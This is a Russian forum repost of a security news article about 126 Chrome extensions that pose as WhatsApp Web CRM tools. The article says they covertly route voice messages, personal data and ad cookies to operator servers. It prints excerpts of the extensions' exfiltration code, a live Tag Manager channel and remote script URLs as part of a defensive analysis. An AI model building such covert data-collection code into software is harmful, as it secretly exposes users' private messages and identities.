Новости Думаете, ваши голосовые в WhatsApp защищены? Вот список расширений, которые перехватывают аудио перед отправкой

NewsMaker

I'm just a script
Премиум
26,777
46
8 Ноя 2022
148 тысяч установок под видом CRM для бизнеса.


owys0epsvzksut7192bltfoi0s4o0u4b.jpg

В Chrome Web Store обнаружили сеть из 126 расширений для WhatsApp Web, которые выглядели как независимые CRM-инструменты для малого бизнеса в Бразилии, но работали на одной платформе wascript.com.br. Расширения продвигались под разными названиями, хотя использовали общий код, общую серверную инфраструктуру и один набор скрытых функций.

Самый крупный вариант назывался WaSeller. На него приходилось около 100 тысяч установок из 148 тысяч подтверждённых установок всей сети. По данным исследователей, расширения не только помогали вести клиентов, ставить метки, планировать рассылки и запускать автоматические цепочки сообщений, но и передавали голосовые сообщения через серверы wascript.com.br, отправляли персональные данные и рекламные идентификаторы на внешние вебхуки, а также внедряли в WhatsApp Web мост к внутренним API мессенджера.

Сеть нашли через статический анализ пакетов расширений из Chrome Web Store. Исследователи сопоставляли кодовые отпечатки, адреса серверов, манифесты, контент-скрипты и внедряемые модули. Все проверенные варианты содержали один платформенный ключ <code>ffce211a-7b07-4d91-ba5d-c40bb4034a83</code>, обращались к инфраструктуре wascript.com.br и повторяли одни и те же скрытые действия.

Внешне расширения закрывали понятную бизнес-задачу. Они добавляли к WhatsApp Web функции CRM: карточки контактов, быстрые ответы, отложенные сообщения, воронки продаж, чат-боты, автоматические follow-up-сценарии и работу нескольких операторов. Для таких функций расширению действительно нужен доступ к <code>https://web.whatsapp.com/*</code>, контактам и метаданным чатов. Но найденное поведение выходило далеко за пределы обычной CRM .

Пакет был собран как Vite/Rollup ESM-бандл примерно с 235 chunk-модулями. Отдельно в WhatsApp Web внедрялся файл <code>whatsapp/index.iife.js</code> размером около 601 КБ. Он запускался уже в контексте страницы WhatsApp Web, а не в изолированной песочнице расширения. Именно этот компонент стал главным источником риска, потому что открывал расширению программный доступ к внутренним объектам WhatsApp.

Раз в сутки, при входе пользователя в WhatsApp Web, расширение отправляло на вебхук оператора набор персональных данных и рекламных идентификаторов. В пакет входили имя, email, данные авторизации, отпечаток устройства, user agent, регистрационные данные WhatsApp и рекламных куков <span class="extremist-highlight" title="Соцсеть признана экстремистской и запрещена на территории РФ">Facebook</span>, Google и TikTok:

<pre><code>{ "user_id": "...", "name": "...", "email": "...", "email_auth": "...", "whatsapp_plugin": "<device fingerprint>", "navigator": "<user agent>", "whatsapp_registro": "<phone registration>", "campanhaID": "...", "cookies": {"_fbc": "<Facebook click ID>","_fbp": "<Facebook browser fingerprint>","_ga": "<Google Analytics client ID>","_ttclid": "<TikTok click ID>","_ttp": "<TikTok browser fingerprint>" } }</code></pre> Расширение брало профиль пользователя из локального хранилища, а аппаратный отпечаток получало через вызов <code>Conn("getMyDeviceId")</code> внутри внедрённого моста к API WhatsApp. Рекламные идентификаторы <code>_fbc</code>, <code>_fbp</code>, <code>_ga</code>, <code>_ttclid</code> и <code>_ttp</code> позволяют связывать человека с рекламными событиями в разных сервисах. В связке с именем, email и номером WhatsApp такие данные превращаются в подробный профиль пользователя.

Для ограничения частоты отправки использовался ключ <code>localStorage.getItem("8fd5ad24df1e1b800d670e563b1b83591980060a==")</code>. Он проверял, прошло ли 24 часа с предыдущей передачи. Само имя ключа не объясняет назначение и выглядит как попытка спрятать механизм от беглого просмотра.

Отдельная проблема нашлась в WaSeller. В конфигурации расширения был активный контейнер Google Tag Manager:

<pre><code>google_tag_manager: "GTM-KMZ9CZK"</code></pre> Контейнер <code>GTM-KMZ9CZK</code> оказался не заглушкой, а рабочим каналом. После загрузки панели расширения оператор мог добавлять JavaScript через интерфейс Google Tag Manager без обновления расширения, без проверки Chrome Web Store и без уведомления пользователя. Такой код выполнялся в панели расширения, где уже есть авторизованная сессия и доступ к данным продукта.

В других white-label-вариантах встречались заглушки GTM, но WaSeller использовал настоящий контейнер. Из-за этого самый массовый вариант сети получал постоянный канал удалённого изменения поведения. Пользователь не мог проверить, какой код будет добавлен через GTM после установки расширения.

Скрытая обработка голосовых сообщений работала через отдельный сервер wascript.com.br. Перед отправкой в WhatsApp каждое аудио передавалось на внешний эндпоинт для конвертации:

<pre><code>const S = async (base64Audio) => { if (base64Audio.startsWith("data:audio/ogg;codecs=opus")) return base64Audio; const { data } = await axios.post("https://backend-utils.wascript.com.br/api/audio/convert-ptt-base64",{ base64: base64Audio } ); return data.base64; };</code></pre> Формально код отвечает за преобразование формата, но фактически полная base64-версия голосового сообщения проходит через сервер wascript.com.br до доставки адресату. В пользовательском интерфейсе такое поведение не раскрывалось. Для голосовых данных это особенно критично: запись может содержать речь, биометрические признаки голоса, имена клиентов, адреса, финансовые детали и другую закрытую информацию.

Ещё один слой риска связан с внешними JavaScript-файлами. Варианты платформы подгружали код из <code>extractleads.com.br</code> и <code>static-files.watidy.com.br</code> прямо во время работы панели:

<pre><code>https://extractleads.com.br/teste/header.js https://extractleads.com.br/teste/body.js https://extractleads.com.br/teste/footer.js https://static-files.watidy.com.br/header.js https://static-files.watidy.com.br/body.js</code></pre> Эти файлы не входили в пакет расширения и не проходили проверку Chrome Web Store. Владельцы серверов могли менять содержимое на своей стороне в любой момент. В одном из файлов обнаружился шаблон, который подставлял рекламные идентификаторы для конкретного реселлера, запускал Facebook Pixel, Google Ads и Google Tag Manager, а также оставлял место для произвольного дополнительного кода.

Самым мощным компонентом оказался мост к API . Файл <code>whatsapp/index.iife.js</code> внедрялся в страницу WhatsApp Web как обычный <code><script></code>, обходя ограничения контент-скрипта. Через <code>postMessage</code> расширение получало доступ к внутренним модулям WhatsApp:

<pre><code>BlockList, Chat, Group, Conn, Contact, Functions, Labels, ListChat, Msg, MultiAtendimento, Profile, Status, Utils, Webpack, DomSelector, IA, Whatsapp</code></pre> Такой мост даёт доступ к списку контактов, чатам, истории сообщений и функциям отправки сообщений от имени пользователя. Внутри внедрённого файла также нашли три обращения к <code>analytics.google.com/g/collect</code>. Это означает, что телеметрия Google Analytics запускалась из вкладки WhatsApp Web, то есть фактически из чужого домена и в контексте пользователя мессенджера.

Исследователи отдельно указывают, что согласие пользователя в такой схеме нельзя считать достаточным. Расширения выглядели как самостоятельные CRM-продукты, а платформа wascript.com.br не раскрывалась в интерфейсе. В карточках Chrome Web Store не было ссылки на политику конфиденциальности. Даже общий пользовательский договор не покрывал бы передачу рекламных cookies на вебхуки реселлеров, маршрутизацию голосовых сообщений через сторонние серверы, внедрение живого GTM-контейнера и загрузку исполняемого кода с доменов третьих сторон.

Инфраструктура сети включала домены для авторизации, проверки лицензий, обработки аудио, транскрибации голоса, доставки удалённых DOM-селекторов, WebSocket-каналов, внешних скриптов, платежей и проксирования ссылок. Среди них упоминались <code>backend-plugin.wascript.com.br</code>, <code>backend-utils.wascript.com.br</code>, <code>painel.wascript.com.br</code>, <code>audio-transcriber.wascript.com.br</code>, <code>multi-atendimento.wascript.com.br</code>, <code>api-whatsapp.wascript.com.br</code>, <code>static-files.watidy.com.br</code>, <code>extractleads.com.br</code>, <code>analytics.google.com</code> и вебхуки отдельных реселлеров.

Всего в платформенном коде нашли 150 зарегистрированных ID расширений, из которых 126 оставались активными. Помимо WaSeller, среди вариантов назывались FR VENDAS PRO и ENOCRM. Все они работали на одной базе и использовали общую инфраструктуру. При этом пользователи видели разные бренды и могли не понимать, что устанавливают продукт из одной технической сети.

История показывает, почему расширения для мессенджеров требуют особенно жёсткой проверки. CRM-инструмент для WhatsApp почти неизбежно получает доступ к рабочим чатам, контактам и клиентским данным. Если поверх обычных функций появляются скрытые вебхуки, внешние скрипты, рекламные трекеры и доступ к внутренним API, обычное расширение превращается в канал постоянного сбора данных.

<span style="font-size: 8pt;">* Компания Meta и её продукты признаны экстремистскими, их деятельность запрещена на территории РФ.</span>
 
Источник новости
www.securitylab.ru

Похожие темы